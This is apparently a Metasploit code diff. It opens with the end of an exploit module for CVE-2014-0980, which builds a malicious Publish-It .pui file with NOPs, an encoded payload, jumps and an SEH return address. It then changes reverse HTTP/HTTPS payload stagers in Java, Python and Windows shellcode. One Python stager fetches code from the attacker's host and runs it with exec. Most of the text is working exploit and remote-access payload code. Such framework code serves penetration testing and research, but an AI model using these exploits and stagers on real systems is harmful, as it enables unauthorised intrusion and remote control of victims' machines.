'Daniel Kazimirow', # Original discovery
'Andrew Smith "jakx_"', # Exploit and MSF Module
],
'References' =>
[
[ 'OSVDB', '102911' ],
[ 'CVE', '2014-0980' ],
[ 'EDB', '31461' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0b\x0a",
'DisableNops' => true,
'Space' => 377
},
'Targets' =>
[
[ 'Publish-It 3.6d',
{
'Ret' => 0x0046e95a, #p/p/r | Publish.EXE
'Offset' => 1082
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Feb 5 2014',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)
end
def exploit
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
fd = File.open(path, "rb")
template_data = fd.read(fd.stat.size)
fd.close
buffer = template_data
buffer << make_nops(700)
buffer << payload.encoded
buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
buffer << make_nops(2)
buffer << [target.ret].pack("V")
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buffer)
end
end
+12 -2
View File
@@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
module Metasploit3
CachedSize = 5500
CachedSize = 5499
include Msf::Payload::Stager
include Msf::Payload::Java
@@ -40,12 +40,22 @@ module Metasploit3
end
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=http://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/INITJM\n"
c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"
c
end
+12 -2
View File
@@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_https'
module Metasploit3
CachedSize = 6308
CachedSize = 6307
include Msf::Payload::Stager
include Msf::Payload::Java
@@ -42,12 +42,22 @@ module Metasploit3
end
def config
# Default URL length is 30-256 bytes
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't know available space
if self.available_space.nil?
uri_req_len = 5
end
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "URL=https://#{datastore["LHOST"]}"
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
c << "/INITJM\n"
c << "/"
c << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITJ, uri_req_len)
c << "\n"
c
end
@@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http'
module Metasploit3
CachedSize = 442
CachedSize = 446
include Msf::Payload::Stager
@@ -26,9 +26,9 @@ module Metasploit3
register_options(
[
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
], Msf::Handler::ReverseHttp)
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
], self.class)
end
#
@@ -41,21 +41,32 @@ module Metasploit3
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
target_url = 'http://'
target_url << lhost
if Rex::Socket.is_ipv6?(lhost)
target_url = "http://[#{lhost}]"
else
target_url = "http://#{lhost}"
end
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
cmd = "import sys\n"
if datastore['PROXYHOST'].blank?
if proxy_host == ''
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
@@ -66,4 +77,36 @@ module Metasploit3
b64_stub << "')))"
return b64_stub
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
#
# Return the longest URL that fits into our available space
#
def generate_callback_uri
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP, uri_req_len)
end
end
@@ -10,7 +10,7 @@ require 'msf/core/payload/windows/reverse_http'
module Metasploit3
CachedSize = 306
CachedSize = 311
include Msf::Payload::Stager
include Msf::Payload::Windows
@@ -11,7 +11,7 @@ require 'msf/core/payload/windows/reverse_https'
module Metasploit3
CachedSize = 326
CachedSize = 331
include Msf::Payload::Stager
include Msf::Payload::Windows
@@ -82,70 +82,74 @@ module Metasploit3
p[i, u.length] = u
# patch proxy info
proxyhost = datastore['PROXYHOST'].to_s
proxyport = datastore['PROXYPORT'].to_s || "8080"
proxyhost = datastore['PayloadProxyHost'].to_s
proxyport = datastore['PayloadProxyPort'].to_s || "8080"
if Rex::Socket.is_ipv6?(proxyhost)
proxyhost = "[#{proxyhost}]"
end
proxyinfo = proxyhost + ":" + proxyport
if proxyport == "80"
proxyinfo = proxyhost
end
if datastore['PROXY_TYPE'].to_s == 'HTTP'
if datastore['PayloadProxyType'].to_s == 'HTTP'
proxyinfo = 'http://' + proxyinfo
else #socks
proxyinfo = 'socks=' + proxyinfo
end
proxyloc = p.index("PROXYHOST:PORT")
p = p.gsub("PROXYHOST:PORT",proxyinfo)
# patch the call
calloffset = proxyinfo.length
calloffset += 1
# Patch the call
calloffset = proxyinfo.length + 1
p[proxyloc-4] = [calloffset].pack('V')[0]
#Optional authentification
if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
datastore['PROXY_TYPE'] == 'SOCKS'
# Authentication credentials have not been specified
if datastore['PayloadProxyUser'].to_s == '' or
datastore['PayloadProxyPass'].to_s == '' or
datastore['PayloadProxyType'].to_s == 'SOCKS'
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
#remove auth code
# Remove the authentication code
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
else
username_size_diff = 14 - datastore['PROXY_USERNAME'].length
password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
jmp_offset = 16 + #PROXY_AUTH_START length
15 + #PROXY_AUTH_STOP length
username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
password_size_diff # same with PROXY_PASSWORD
#patch call offset
username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length
password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length
jmp_offset =
16 + # PROXY_AUTH_START length
15 + # PROXY_AUTH_STOP length
username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length"
password_size_diff # Same with PayloadProxyPass
# Patch call offset
username_loc = p.index("PROXY_USERNAME")
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
password_loc = p.index("PROXY_PASSWORD")
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
#remove markers & change login/pwd
# Remove markers & change login/password
p = p.gsub("PROXY_AUTH_START","")
p = p.gsub("PROXY_AUTH_STOP","")
p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s)
p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s)
end
#patch jmp dbl_get_server_host
# Patch jmp dbl_get_server_host
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
#patch call Internetopen
# Patch call Internetopen
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
# patch the LPORT
lport = datastore['LPORT']
# Patch the LPORT
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
p[lportloc+1] = [lport.to_i].pack('V')[0]
p[lportloc+2] = [lport.to_i].pack('V')[1]
p[lportloc+3] = [lport.to_i].pack('V')[2]
p[lportloc+4] = [lport.to_i].pack('V')[3]
p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V')
# append LHOST and return payload
lhost = datastore['LHOST']
p + lhost.to_s + "\x00"
# Append LHOST and return payload
p + datastore['LHOST'].to_s + "\x00"
end
@@ -85,7 +85,7 @@ module Metasploit3
"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
"\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
"\x83\xC4\x20\x85\xC0\x74\x99\x66\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
"\x75\xCE\x58\x58\xC3" +
"\xE8\xD7\xFE\xFF\xFF" #updated jump offset
}